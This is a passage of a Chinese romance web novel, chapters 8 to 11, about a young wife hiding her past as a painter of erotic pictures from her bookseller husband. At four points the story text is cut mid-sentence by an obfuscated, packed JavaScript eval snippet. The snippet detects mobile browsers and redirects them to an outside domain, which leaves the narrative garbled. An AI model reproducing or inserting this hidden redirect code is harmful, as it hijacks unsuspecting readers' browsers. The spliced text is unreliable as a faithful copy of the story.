曾正卿低笑一声,调侃道:“好,我不看了,保留夫人在我心中的完美形象。”说罢,拿着手中画避到另一侧去了。 青朵用余光观到他已离去,还不能从紧张中回神,她后怕地喘息,感觉脑袋一阵阵发麻。 啊!!! 自己走的时候,怎么没把剩下的春宫图都处理掉! 差点就露馅了! 8. 祭拜 林间幽深,投下连绵的树荫,禽鸟啼鸣,仿佛就在身边,可当青朵抬头去寻,枝条繁茂,簌簌摇曳,分不清是树枝,还是摆动的雀尾。 唐礼和曾正卿手提祭拜的食盒、纸钱等。青朵两手空空,她把胳膊抱起走路,压到袖中的春宫图纸,发出“沙沙”声。 曾正卿走在青朵身边,听到她身上传来声音,随口问道:“什么声音?” 青朵努力冷静,撒谎道:“啊……是树枝!踩到枯枝了!” 曾正卿不再问,青朵小心地放下手臂,手臂和身体保持一定距离,像是蝎子举着两钳,不敢再发出声响,她自知姿势不佳,有损自己的优雅形象,落后几步,默默跟在后面。 当时何伯采购回来,爹等不及催促他们,她还来不及处理,只能带着两袖“春”风出门。一路上曾正卿就在身边,更是没有解决它们的机会。 袖中轻飘飘的纸,沉甸甸的重,青朵不知何时才能摆脱重担。 “到了。”带头的唐礼停住脚步,站在墓碑前,上面写着“爱妻秦罗芙之墓”。青朵和曾正卿将祭品摆好,双双跪在墓前。唐礼拎起袖子擦去碑上尘土,然后取出火折子点燃纸钱。 青朵看到火堆,顿时心念一动:诶!不如用火烧它个干干净净! 唐礼盘腿坐在火堆前,拾起纸钱投入,脸上是难见的严肃,他轻声说道:“阿罗,女儿女婿来看你了。” 曾正卿叩拜后起身,郑重说道:“岳母大人在上,小婿曾正卿前来拜祭。幼时承蒙岳母关怀,正卿铭记于心。不料岳母仙逝已久,无缘再见。我已与令爱结为夫妻,自当竭尽全力,悉心呵护,不负岳父岳母所托。还望岳母在天之灵,庇护岳父与我夫妻二人,顺遂安康。”言毕俯身再拜。 青朵磕了一个头,说道:“娘,我来了,我嫁人了,夫君你也认识,就是你和爹在我小时候给我选的那个。所以你放心吧,他人很好,对我也很和善,虽然我才和他在一起两天,哦,今天是第三天,嗯,我很快乐。娘你眼光真好,谢谢娘。”说完飞快又磕了一个。 她直起身子,发现曾正卿正看着她,流露出诧异神色,青朵不明白他惊讶什么,盯着他正奇怪,又见他微笑起来,她便抛却一切想法,眼中也盛满盈盈笑意。 树林幽静,曾正卿好似听到流水的声音,他侧耳倾听,才清晰分辨,那潺潺流淌的,是心泉。 * “我想和娘单独说几句,你们走远一点,不要偷听。”二人祭拜完毕,青朵说道。 那二人自无异议,站起往后走。青朵回头关注,还嫌他们离得近:“再远一点,再远一点!”直到确定两人听不到也看不到这边的距离,她才回身,蹲在火堆前,掏出右袖中的春宫图,一张张扔进,火苗瞬间蹿起,贪婪吞噬着它的食粮。 “娘,”青朵低声嘀咕道,“你在天上这么久,过得怎么样?我想,人间有人间的快乐,天上也有天上的快乐。只是你去了这么久,也不托梦给我,告诉我你过得好不好。” “爹有了新的伴,不是我之前跟你说过的那些,哎,左不过也是那些风月之人。你在天上有没有找新老伴?这回找个憨厚踏实的吧!如果你去了,他以后不会放纵不羁,败坏你的名声。” 她想了想,又掏出左袖子里的图放进去,补充道:“哦,我忘了你已经去了。” “如果没有伴也没关系,我和爹每年没少给你烧纸,你在天上应该富裕得很,怎么舒服就怎么来。如果你要是无人解闷,就看看这避火图,是我画的,我感觉还不错,反正一张也能卖个几十文,我也算是烧钱给你了。” 这要是放在之前,她是万般舍不得的。不过她现在是书商曾正卿的夫人,早不是一文钱都要算计许久的唐青朵。她要烧掉过往,隐藏自己曾经画春宫图的过往,重新做人,做一个优雅文静,毫无污点的唐家小姐。 都说火神为女子,羞于见描绘秘戏的春宫图,房屋大梁上多贴之防火。青朵望着画纸逐渐化为焦黑的碎片,它们在热气裹挟下,零碎飘浮。 她不屑地撇了撇嘴。 避火图根本不避火。 送走女儿女婿,唐礼回到青朵的房间,点燃蜡烛,烛光充盈整个房间,他独立屋中,方有了女儿已经嫁人的实感,心里顿时也像这间屋子,空荡荡的。 自妻子去世后,就是他们父女俩相依为命,当时他经历父母、妻子接连去世,大受打击,悲痛不已,一连几日都躺在床上,不吃不喝。小小的阿照,额上系着孝带,长长的垂至腰间,她走到他跟前,打开手中的卷轴,细声细语道:“爹爹别哭,娘一直陪着我们呢!” 他勉强支起身子一看,全身定住不动,画上女子纯洁如月,温柔如诗,丹唇含笑向他望来。怀中抱一婴孩,正仰面伸手,欲抓她头上的红山茶。正是阿照出生不久,他为妻女所画。 他悲从中来,一把抱住阿照——他在这世间唯一的亲人,心中发誓要好好照顾她一辈子。 唐礼盯着映在墙上的身影,叹了口气,自己的所作所为,算不上遵守誓言,尤其在阿照长大后,他发现,女儿能依靠他教她的画技养活自己,就更是谈不上“照顾”。 女儿能在父亲身边待上几年呢!他开始懊悔自己没有多陪陪阿照,她嫁人之后,陪的就是别人家的儿子了! 可恶!他低头一抹眼睛,早知道自己就应该找个上门女婿的! 突然间,桌脚的一团纸引起他的注意,阿照回门之前没有这东西啊!他纳闷地拾起,展开一瞧,霎那间目瞪口呆。 这这这!!! 照丫头干的好事! * 青朵还沉浸在回趟家的喜悦中,直到芳晴伺候她休息,她才生出另一种担忧。 今夜,曾正卿不会要和她同房吧? 一直到熄灭烛火,她还是惴惴不安,磨磨蹭蹭地上了床,一溜烟钻进被子。然后就听到曾正卿说:“睡吧。” 青朵提起的心放下,折腾一天,她很快睡着了。睡得正香,忽然觉得有人站在床前,不知谁又重新点亮蜡烛,光刺眼得很,只听那人喝道: “臭丫头!你胆子够大!” 哟嚯! 青朵还来不及睁眼,听到熟悉的声音,身体已经起了反应,起身拔腿就跑,像是经过无数次训练。 空气中传来“咻咻”的声音,青朵纳闷,哪来的鸡毛掸子呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294441|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿照!你给我站住!竟然敢给我烧春宫图!还是自己画的!唐礼怎么教的你!”后面那人穷追不舍。 青朵一边逃命,一边想: 是嘛,娘一直直呼爹的大名,什么时候腻歪地称他为“阿礼”?爹就会给自己脸上贴金! * 婚后曾正卿与妻子同床不过三日,这已经是第二次被妻子吵醒。 准确来说,是被热醒。 妻子的那床被子全部盖在自己身上,反观她呢,双腿虚空乱蹬,要不是听清她口中的话,自己怕是以为她中邪了。 她含糊地说着:“错了错了。” 曾正卿不禁笑出声来,她这跳脱的性格,十几年来定是闯祸不断,没想到梦里也不安生。他起身拽起被子,刚把它盖回到青朵身上,青朵飞起一脚,掀翻被子,曾正卿猝不及防,忽觉眼前一黑,一床被子蒙在头上。 他慌乱地把被子拽开,首先入眼的,仍是青朵在空中攀登不息的步伐,他暗暗叹气,伸手按住她的双腿,青朵果然安静下来。 他松一口气,正要回身再次给她盖被,还不等他别过脸去,登山之腿再次重启,幸好他躲得快,与它擦脸而过。 劫后余生,他长吁一口气,向后挪一挪,与青朵的腿保持距离,眉头紧锁紧盯着她,要控制她的腿,才能盖上被子。 电光火石间,曾正卿想到一个主意。躺下刚要操作,忽觉不妥。两人没有洞房,甚至这几天都避免进行肢体接触,他这样,会不会…… 应该没事,他想,不管怎么样,他们已经是名义上的夫妻,也不算违矩,何况,他并不是另有所图,只是想要帮她盖上被子,不要着凉而已。 没关系的,等她安稳下来,你就放开她,她甚至都不会发觉。 想到此节,曾正卿像是吃了定心丸,他侧躺抬腿压住青朵的腿,拉过她的被子盖在两人身上,伸出的手略微停顿,最后还是搂住她。 这是除了新婚夜,第一次,靠近她。 在他的怀抱中,她终于安静下来,乖巧地睡着。 曾正卿闻到她身上传来的,说不清,道不明的香味。不是胭脂水粉的花香,是一种特别的香,这种味道,让他舍不得放手,即使青朵已经不再乱动。 一瞬间,眼前又浮现关于她的点滴:滴水的山茶,狡黠的神色,揭盖头后的雀跃,踹他一脚后的紧张,自夸体贴的得意,拜祭时的相视一笑…… 还有她发自肺腑的那句话:“他人很好,对我也很和善……我很快乐……” 她是快乐的。 与他在一起。 心脏不由自主,“咚咚”直跳,不知是深夜未休息的困倦,还是沉醉在花香中,曾正卿竟产生眩晕之感,脑袋乱成一团,思绪纷飞,左思右想中,进入梦乡。 等醒来时已是第二日清晨,这一觉睡得好不舒坦。他觉得怀中温软,低头一瞧,对上青朵的杏眸。 曾正卿这才意识到,自己仍像一支爬藤一样紧紧缠着她,没有松手。顿时如遭电击,眼睛几乎要脱眶而出,他浑身僵硬,说不出话来。 青朵怯生生的,她犹豫了一会儿,小心翼翼地问道:“你……是想那个吗?” 9. 启发 曾正卿深吸一口气,尽量显得平静,说道:“昨晚你睡觉的时候,不断蹬腿,被子踹到一边,我是怕你着凉,才出手阻拦。” 他顿了一下,又道:“以后,那种话,不要随便说。” “哦。”青朵咬着嘴唇,讪讪道。 “时间不早了,今日我要去店里。”曾正卿起身,见青朵跟着起来,说道,“你可以再睡一会儿。” “不,”她回答干脆,“我要伺候夫君穿衣,送你出门。” 青朵展开长袍,待曾正卿手臂穿入后,她先整理衣领,接着一寸寸拉扯衣袖,直至衣袖完全贴合,然后再抚平褶皱。 曾正卿的目光跟随青朵的每一个动作,他不是第一次被人伺候穿衣,但第一次觉得奇怪。前两日晨起,她都没有这个想法,今早却像一个恪守本分的贤良妇人。她耐心又专注,手指触到他的身体,那处就汗毛直竖。 还有青朵脸上的笑容,像是用尺子丈量完毕,工整贴在脸上似的。曾正卿紧抿嘴角,感觉浑身都凉飕飕的。 他仔细一想,好像昨天就隐隐有这种感觉,从什么时候开始呢?是了,从在岳父家用餐开始,席间她一直给自己和岳父布菜。 回门之前,她都光顾着自己大快朵颐,何曾照顾过别人? 难道岳父叮嘱她,要恭良贤淑?也有可能。 心中疑惑稍解,他问道:“昨晚你做噩梦了?” “没有啊。”青朵取过束带,系在他腰间,随口答道,后想起什么,一边系结,兴奋道,“夫君!我昨晚梦到我娘了!这是她去世之后,头一次梦到她!” “哦?她都对你说什么了?” “说……”青朵顿住,心想,说什么可不能告诉你。又说道,“这不重要,重要的是,我娘的身体好极了,以前她生病,我闯祸她想教训我,刚拿起鸡毛掸子,我拔腿就跑,她追两步就气喘吁吁,昨晚却能一直追个不停!” 曾正卿“呵呵”笑出声,心想果然如此,只是不知道岳母因何追着要打她。笑道:“怪不得夫人蹬腿不停。” 青朵不好意思地笑了笑,道:“娘神采奕奕的,真好,虽然我吓得跑个不停,心里却很为她高兴!” 曾正卿闻言心中一软,他凝视青朵乌溜溜的眼眸,忍不住抬手摸了摸她的脑袋,柔声道:“看到你快乐的样子,岳母也会感到欣慰。” 他看到她眼中的欢欣,可那就是一瞬的事,很快她的眼睛失去了活力,尺量般的笑容再次贴到脸上。青朵的双手并拢身前,一板一眼道:“夫君,万事小心,早去早回。” 太奇怪了! 曾正卿皱眉提气,刚想问问是怎么回事,转念一想,他这妻子天马行空,做什么事自有她的道理。她本来就心直口快、坦率天真,估计用不了多久,自己就托盘而出。 念及此,他不再多说,颔首道:“好。” 直到要拐出院门,他回首一瞧,青朵原本站姿松懈,见他回头,倏地站直,抬手欲摆,又收回去,手忙脚乱的,最后屈身盈盈行礼。 曾正卿暗叹一声,实在想不明白她打的是什么算盘。只能说道:“你回去吧。” 这种待遇,他真是吃不消。 * 顺着昂溪拱桥向北,就是吴州城最大的游乐场所北瓦子,沿着它南侧的众安巷走下去,就是曾家的书铺——“清源书籍铺”。书铺前便是学士河,河上的桥名为“龙门桥”,都因对面为吴州贡院而得名。 对面有长期稳定的学子客源,附近又是人气旺盛的商铺街,清源书籍铺生意兴隆,也是自然。 曾正卿正细阅这几日的账目,有人推门而入,笑道:“我以为你要和新婚妻子成双成对,难分难舍,想不到你今日就来店里。” 曾正卿头也不抬,闻声便知来者是谁,他说道:“我不如你刘恭直清闲,家中有父母兄弟帮衬,由得你逍遥自在。且又到何处闲游?” 他听了曾正卿的话,反驳道:“你说的不对,我怎么不操心?我刚从我家的当铺出来,路过你这儿,听掌柜的说你在,才来见你。” “哦?几日不见,我竟要对你刮目相看,你去做什么?” “我去……”他大咧咧地坐下,哂笑道,“我去那儿,不是以少东家的身份,而是以买家的身份,淘宝贝去了!” 刘恭直本名刘恪,恭直是他的字,他是“和宝楼”当铺东家的二儿子,自与曾正卿相识,交情甚笃,他虽不喜欢去自家的铺子,倒很爱到曾家的清源书籍铺闲逛。 他端详了一会儿,说道:“咦,你怎么不笑。” 曾正卿落笔写字:“意料之中,有何好笑?” 刘恪指着曾正卿数落道,“你这样古板严肃,新夫人不会嫌你无趣?” 曾正卿抬头回道:“你这样放荡不羁,嫂夫人不会嫌你胡闹?” 刘恪不在意道:“我才不管她怎么想呢!反正她也管不着我!” 曾正卿蘸墨掭笔,他斜睨刘恪一眼,并不说话。刘恪不自在道:“本来就是!你那是什么眼神,可是不信我?” “无事。”他又低头写字。 刺耳的摩擦声响起,曾正卿眉头一皱,正要让他小点声,忽地眼前出现一张大脸,刘恪拖着椅子坐在他面前,伸着脖子神秘道:“你可见过你岳父了?” “……废话。” “你岳父可是唐礼啊!” 同样的话他不想说两遍,正卿道:“那又怎样?” “你没求他给你画张画?” “没有。” “傻瓜!自从唐礼封笔,他的画都炒至千两,你如今作了他的女婿,正是‘近水楼台先得月’,不如求得一幅,邀我到你家观赏!” “不要。” “为何不要?实话说了吧,我今日就是得信,说是柜上收了幅唐礼的《青山万朵图》,才急匆匆赶去,谁料是个仿的,蠢货。” 曾正卿听到画名,心念一动。他搁笔重复道:“《青山万朵图》?” “是啊,传说是他考中状元,正是春风得意之时所做,笔墨潇洒,气韵横生,最是一绝。只是不知道真迹在那,”他又凑近一点,逼得曾正卿后仰,“我就是看不着《青山万朵图》, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294442|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看他画的其他图也好,元柏,我们相识这么久,但我何时求你?只有这件事……” 曾正卿提笔虚指他额头,逼他后退:“我们相识不久,也就我搬来吴州半年而已,这半年,每次你与夫人吵架,是谁收留了你?” 刘恪知道他一旦决定,难以改变想法,只能叹息道:“唉,怎么我年少时,我父母没与唐礼定亲呢!” 他瞄到曾正卿投来的冷冷的目光,笑嘻嘻道:“我说笑的。” “此事不可说笑。” “是是是,我错了。唉,只是最近,也找不到什么好画,我去庞记画坊转了一圈,都没什么看得上眼的!” “你欲购买书画,怎么不到我这里来选?” 刘恪的笑有些意味不明,他说道:“难道你这里,还有这东西吗?” 他随意地把一个册子扔到曾正卿面前,曾正卿翻开一瞅,“啪”的一声,猛地合上,面色古怪。刘恪看着他的神色,哈哈大笑起来。 芭蕉宽叶掩映,一女子坐在嶙峋怪石之上,面若春桃,衣衫半解,被一男子搂在怀中亲吻。 这是一本房中秘戏图。 刘恪笑得上气不接下气:“曾古木啊曾古木,你都有家室的人了,看见这个怎么还像大姑娘上轿头一回,害羞起来!哈哈哈!” 曾正卿把画册往前一推:“拿走!” 刘恪擦去眼角笑出来的泪,他最喜欢撕开曾正卿面容上的从容,看到他内里的哀乐变化,这一次还是小有收获,他晃悠悠地站起,笑道:“这虽不是什么名家的画作,但背景清幽,画风古朴,人物自然,倒也有几分韵味。” “也不是什么值钱的玩意儿,既然元柏喜欢,我便忍痛割爱,把它赠与你,望你好好欣赏,细细品味。”说罢,不理曾正卿的拒绝,品味好友神色的愕然,快步离开了。 曾正卿望着手中,想要塞还给刘恪的秘戏图,直觉触碰到的地方,手指发烫,他正要扔到痰盂中,突然脑中闪过一个想法,手顿住了。 他立住不动,思考好一阵,然后将刚才不屑一顾的画册塞进怀中。 * 青朵沐浴后回到卧房,发现曾正卿倚坐在床边,手执一本书,眼神却掠过书本,盯着前方一点。 她顺着他的目光望去,也不过就是蜡烛,不知有什么好瞧的,于是问道:“你怎么还不睡?” 曾正卿像是魂魄归体,先是一惊,扫了她一眼避开眼睛道:“唔,我还不困。” “那一会儿你吹灭蜡烛哟!”青朵愉快地说着,掀开被子就要钻进去,却被曾正卿拉住胳膊。 “夫人,我,有事和你说。” “什么事?”青朵呼扇眼睛,奇道。 曾正卿的脸洇上红色,他从怀中拿出一个册子,递给青朵。 青朵接过,好奇道:“是什么呀?” 一翻开—— 那册子像是鞭炮引线上的火苗,顺着相接处一路燃烧,就要将青朵整个人引爆。 她一激灵,一把将画册丢出去。 天老爷,这竟是自己画的避火图! 10. 底细 一种恐惧笼上心头。 他知道真相了! 青朵冷汗直冒,她与曾正卿相处几日,他果然如他父亲所说,带着曾家遗传下来的一板一眼,这样的人怎么会接受,自己的妻子是个画避火图的小画师呢? 自己好不容易过上无忧无虑的清闲日子,她一点儿不想失去他! 各种求饶的念头一拥而上,把她的脑袋挤成市集。 啊!夫君大人!求你可怜可怜可怜的我!我实在是过不下去,没有爹娘,虽然有爹,也跟没有一样,要不然我怎么会走上这条不归路,望你跟我一次机会,我定老老实实,本本分分,再也不做见不得人的勾当了! 脑袋里繁衍数个青朵小人,四面围住曾正卿下拜,哭得凄凄惨惨,口中念念有词。她沉浸在自己脑海里的苦情戏中,面上也浮现悲戚神色…… “夫人!夫人!” 青朵回过神,这才发现曾正卿握着她的肩膀,一脸担心凝视她。青朵与他对视一会儿,心虚地低下头。 曾正卿长舒一口气,松开手,见青朵低头不敢看她,心中不忍,柔声道:“夫人,惊吓到你,是我不好。” 嗯……嗯?青朵猛地抬起头,嘴巴张得能塞下拳头,不是,我画避火图,你道什么歉? 只听曾正卿继续道:“你我虽然名义上为夫妻,但始终没有夫妻之实,我以为,兴许是你对此事懵懂不知。故而,才想着拿春……拿此图给你,让你略知一二。现在看来,还是太过勉强。无妨,我们刚成婚,情感尚未深厚,你仍有抗拒之心,也在情理之中。往后日子还长,圆房之事不必强求,一切顺其自然便好。” 青朵羞得脸上通红,轻声嗫嚅道:“你……你很想吗?” 曾正卿叹气:“夫人,你是女子,今早说过了,这种话,不要随便说。” 那就是很想的意思了,青朵心想。 夜晚,听身边曾正卿平稳的呼吸声,青朵辗转难眠。 枕头不舒服,褥子不舒服,被子不舒服,最重要的是,心不舒服。 她终于明白那日,自己埋怨爹向曾正卿吹嘘自己“端庄”,爹不以为然,说的那句“生米煮成熟饭”是什么意思了。 自己现在就是“生米”,还没有煮成“熟饭”。 生米若还是生米,那就有被退回到米缸的可能。 不行,这种事情不能发生! 青朵盯着床顶,目光无比坚定。 她必须让米变成米饭! * 青朵坐在院中,呆呆地仰望头顶葡萄藤新生的嫩叶,甜蜜的香气唤醒她,低头一瞧,原来是珠娘端上一碟松花团子,一碟云片糕,还有一碗覆盆子。 “阿照吃吧,今早买回来的,新鲜的呢!”珠娘热情道。 青朵脸色沉重,她摇摇头,说道:“珠姨,这次我来,是有难事要求你帮忙。” 珠娘料到了,青朵并不喜欢与她们这些烟花女子打交道,只是面子上过得去,自己对她也不过是因为唐礼,爱屋及乌,见她这样说,在她对面坐下,忙应道:“你只管说,有我呢!你既然求到我,就是刀山火海,我也闯了。” “那倒不用你去闯,是我去闯。”青朵愁眉苦脸。 珠娘一愣,问道:“这话怎么说?” 青朵张嘴欲言,忽然顿住,四下看看,问道:“我爹不在吧?” 珠娘笑道:“你进门的时候就问过了,他最近迷上钓鱼,一早就出去了。” 青朵正要说话,又突然停下来,为难道:“珠姨,这件事,你千万不要说与别人知道!我爹也不行!” “好好好,不说不说!” 青朵欲言又又又止:“我……不行,你发个誓!” 珠娘无奈,举起三根手指发誓道:“倘若我郝珠娘将今日之事,说出去一个字,就让我,就让我,和你爹分开,再也不得相见!” “啊?”青朵沉闷闷道,“不行不行,你俩感情是最不稳固的了!也许很快你就嫌他烦,想要离开他了!” 珠娘又好气又好笑,她也明白青朵不是看不上她,而是不相信她那个不定性的爹。只好再说道:“倘若我说出去,就让我一夜变丑,满脸都是皱纹!” 这回青朵点点头道:“可以了,我信你。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294443|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “所以到底是什么事?” 青朵揪着衣裙,小声道:“我不敢和我夫君洞房。” “什么?你们还没圆房?”珠娘惊道。 “嘘——”青朵把手指放在嘴边,紧急制止珠娘,她说道,“我也知道这件事惊人得很,可我,我也不想啊!但我就是不敢,就是恐惧。” “夫君虽然安慰我说,等以后我不再抗拒再圆房,他可以等。可万一我以后一直害怕呢?夫君也不见得,能一直等我吧?” “我可不能失去他!” 珠娘刚想说,他们夫妻才几天就情深意笃,就听到青朵续道:“他那么有钱!” 珠娘话到嘴边,又咽了回去。她认真想了想,笑着拍手道:“我有办法了!”说着起身进屋,青朵伸长脖子,眼巴巴望着她取来一个画卷。 她看起来神神秘秘的:“阿照,一般人家母亲都会放此物压箱底,就是为了教自家女儿行事,你爹心粗,也是不方便这样做,所以你还没有开窍,看了这个你就明白了!” 青朵心中生出不祥的预感,打开一看,果然! 怎么又是避火图! 她是什么鉴赏避火图的行家吗?这几天一个两个的,都拿避火图给她看! 她怎么不知道男女之事?她知道得不能再知道了! 她一点都不想看! 青朵心中忿忿不平,目光冷不丁扫过手中画卷。 避火图到底有什么好看的!要不是为了挣糊口费,她一点也不……诶?这图真美! 青朵眉头一拧,仔细赏起画来。画中线条流畅,色调柔和,女子妩媚可爱,虽与男子搂抱在一起,画面艳而不俗。 这人的功底画技,比她高上几百倍!这图定然很贵,珠姨怎么会舍得买这么贵的东西? “这是哪来的?” “你爹画的。”珠娘随口答道。 青朵大惊失色,眼睛瞪得滚圆,手持画卷僵在原地。 爹他也,也画避火图? 好好好,父女俩这半年来各有各的生活,却又不约而同做同一件事! 真是殊途同归! 11. 献身 回家的路上,坐在马车里,青朵重重叹了口气。 “少夫人,怎么了,是我买来的白玉枇杷不甜吗?”芳晴见青朵吃了一个枇杷后叹气,不解道。 青朵又叹气:“甜,更衬得我心里苦啊!” 唉,以她现在的水平,就是变成能御六匹马的造父,也赶不上她爹的水准。 她又拿起一个枇杷,啃了一口,微微皱起眉头,略酸。嗯,同样都是枇杷,酸甜也有不一,她和爹都是人,各具天赋高低,又有什么奇怪的!当不成甜枇杷,她也可以作酸枇杷,世上各种味道,总是要有枇杷去承担的。 青朵放下手中的酸枇杷,自我安慰道:你看,作酸枇杷也不错,能少被人啃两口。 现在不是愁这件事的时候,她还有其他的事要办。 “芳晴,家里可有酒?” “有,少夫人若想饮酒,家中有竹叶青、桂花酒、芙蓉液……” 青朵打断道:“哪一种酒烈?” “烈酒?”芳晴惊讶,“少夫人要喝烈酒?您身子娇贵,烈酒辛辣,喝了恐怕身体会不适。” “无妨,醉了之后,什么不适都不知道了。”青朵别有含义的说道。 避火图根本不能解决她的问题,她不是不懂,是不敢。后来她问珠娘有没有能让人晕过去的药物,想在失去知觉的时候完成夫妻之事。珠娘当然不肯答应,那都是院子里迷倒那些新进园子,不服管教的雏儿的手段,怎么能用到唐礼的女儿身上! 何况她听了唐礼与阿照的描述,觉得阿照的夫君是一个温文儒雅的君子,要是知道阿照宁可昏过去,也不肯自愿跟他同房,定然伤了夫妻情分。只能说道:“用药是万万不成的,恐会伤身,你爹要是知道,肯定不能饶了我。不过暖情之物,不一定是用药,也可以是酒。” 青朵受到启发,当场决定,今晚,她将要给自己安排一场“鸿门宴”。 她蜷手作杯,虚空做了一个饮酒的姿势,大义凛然道:“风萧萧兮易水寒,壮士一去兮不复还!” * “夫人,当真要饮此杯?”曾正卿第三次向青朵确认道。 两人相对而坐,桌上摆着四样菜肴,曾正卿面前面前放着饮酒小盅,青朵面前盛酒的海碗。 青朵面不改色端起碗,说道:“夫人我酒量深不可测,这都是小意思。” “这是陈酿的花雕酒,后劲十足,不必贪杯,仔细明日头痛,还是叫芳晴换一个杯子吧!”曾正卿劝道,伸手去端海碗。 青朵一把捧住杯子,像是螃蟹夹住小虾,“吸溜吸溜”地尝了一口,赞道:“香气浓郁,味道甜甜的,”咂咂嘴品味余味,说道,“略带一点涩味。” “头一次喝这么好喝的酒!”她高兴道,“贵的酒就是不一样!” 曾正卿看着他兴高采烈的样子,他的眉眼中也带了笑意,但仍劝道:“夫人慢饮,酒香也不能贪杯啊!” 不贪,如何能醉? 不醉,如何能睡? 青朵一横心,捧起海碗,摆出要与碗中酒水拼个你死我活的架势,像是干旱多时遇雨的禾苗,“咕嘟咕嘟”开怀痛饮。 曾正卿霍然起身,一把夺过青朵手中的酒碗,可为时已晚,青朵已饮尽碗中大半酒水。洒落的酒顺着脖颈滑落,青朵来不及擦拭,怔怔地望着曾正卿严峻的脸。 “你这是做什么!怎可不爱惜身体!”曾正卿愠道,看到青朵怔忡的神色,他收敛火气,努力放平声音试探道,”夫人可有不顺心的事情?” 有,就是和你的事。 青朵有苦难言,她挤出一个笑容:“没有,是我没喝过花雕酒,一时忍不住。” 曾正卿果决道:“今日不可再饮。”唤来芳晴,命她撤去酒杯海碗。“小饮怡情,浅酌慢品,夫人今日饮法伤身伤神,以后万万不能了。” 啊——啰里啰嗦,吵死了。 青朵喝第一口时还未觉怎样,第二次豪饮后,酒劲涌上来,胸膛似乎点燃一丛篝火,冒出的热气将头脑熏得混混沌沌,而自己的身体却像是蒸干水分,轻盈飘然。 她坐不住了,她想大笑,她想哼歌,她想跳舞。她有说不出的快乐。 青朵摇了摇头,拼命忍住起身转圈圈的冲动,暗暗念叨:圆房圆房圆房房圆房圆圆圈圈,圈圈圆圆…… 还是想跳舞。 曾正卿不知夫人的异常,他为她夹一块鱼肉放在碟中:“你喝了许多酒,吃点东西垫一垫。” 青朵“蹭”地站起,双眼直勾勾地盯着曾正卿,他愕然道:“夫人?” “曾正卿,跳舞。” 不论是直呼姓名,还是跳舞的要求,都让曾正卿摸不到头脑,青朵不顾他是否反应过来,已然开始转圈,嘴里嘀嘀咕咕的不知说些什么。等她晃悠几步,摇摇欲坠,曾正卿从后搂住她,才听清她说的是: “天生我材必有用,人物不行花鸟画。” 曾正卿听了这话,才猜到她因为作画心中有苦恼,见她挣扎不已,顺着她说道:“夫人说得对!此路不通,我们便行它途,夫人要画花卉、鱼虫、禽鸟,明日我便带你去购置颜料等一应画具,让夫人画个痛快。” 顺毛捋一捋,怀中的小毛驴停止撅蹄,青朵惊喜道:“你也觉得我擅长画花鸟?” 他不知,但现在没有别的答案,他说:“是。” 青朵不挣扎,曾正卿就放松警惕,青朵一扭身子,挣脱怀抱,喜道:“你真是慧眼识人!你就是我的知音!来来来,我哇…画给你看!” 醉酒使她口齿不清,使她行路踉跄,但不能软化她的倔强。她奔至桌边,提笔蘸墨在纸上做画,身子立在桌前晃悠悠的,眼睛也迷迷糊糊看不清,她努力俯身去看,身子不稳,手也颤悠悠的。 曾正卿无奈,只得跟过去,等她作画。青朵画完兴奋地把纸往曾正卿面前凑,他后退几步,端详妻子的大作,可这到底是什么?勉为其难地夸道:“好生动的……蚯蚓!细长弯曲,柔软灵动。” 青朵瞬间脸色大变,她嘴角耷拉下来,哭丧道:“可我画的是松枝!”说罢便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294444|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴一咧,放声大哭。 啊!她画什么都不如爹!人物人物不行,植物植物不成!她唐青朵就是唐废朵! 曾正卿的话像是压倒骆驼的最后一根稻草,压垮青朵在马车上建立起来的豁达。 曾正卿哪见过女子这般架势,惊出一身冷汗,不知怎么劝慰她,连连慌神,作揖道歉:“是我不好,是我不好,是我眼睛的问题,不是夫人的问题!” “夫人的蚯…松枝刚劲有力,粗壮挺拔,傲骨迎霜,这画独具一格!” 青朵压根听不进去,听进去怕是也要继续哭了,她边哭边哽咽道:“吾是哇呜啪!” “什么?” “我是酸枇杷!我是酸枇杷!”青朵哭喊道。 曾正卿闭眼头痛:这又是哪跟哪! 